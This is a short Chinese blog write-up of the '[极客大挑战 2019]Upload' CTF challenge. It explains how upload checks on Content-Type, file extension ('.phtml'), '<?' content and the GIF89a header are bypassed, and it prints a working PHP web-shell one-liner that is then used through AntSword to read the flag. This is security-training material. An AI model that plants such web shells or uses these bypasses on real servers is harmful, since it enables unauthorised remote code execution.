[极客大挑战 2019]Upload

上传php一句话木马

传不上去  经查看前段没有过滤函数

所以是服务器对文件上传做了限制

文件上传校验姿势

  • 客户端javascript校验(一般只校验后缀名)
  • 服务端校验
    • 文件头content-type字段校验(image/gif)
    • 文件内容头校验(GIF89a)
    • 后缀名黑名单校验
    • 后缀名白名单校验
    • 自定义正则校验
  • WAF设备校验(根据不同的WAF产品而定)

 修改content-type字段image/gif 继续发送请求包,有了新的报错,绕过了content-type检查。报错限制了php后缀,所以接下来就是绕过后缀限制。

有些情况下可以用php3,php4,php5,phtml.pht这些后缀代替php。

 

试到phtml

对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。

又有了新的报错,看来已经绕过后缀限制。但是服务端对文件内容'<?'检查,换马

<script language="php">eval($_POST['shell']);</script> 

继续上传

 

 有了新的报错,看来也是绕过成功,尝试绕过文件内容头的校验,在文件中添加GIF89a头,最终成功上传。

猜测上传目录为/upload 蚁剑连接成功

 

 终端执行 cat /flag 得到flag

 

posted @ 2021-07-24 14:29  C10ud  阅读(58)  评论(0编辑  收藏  举报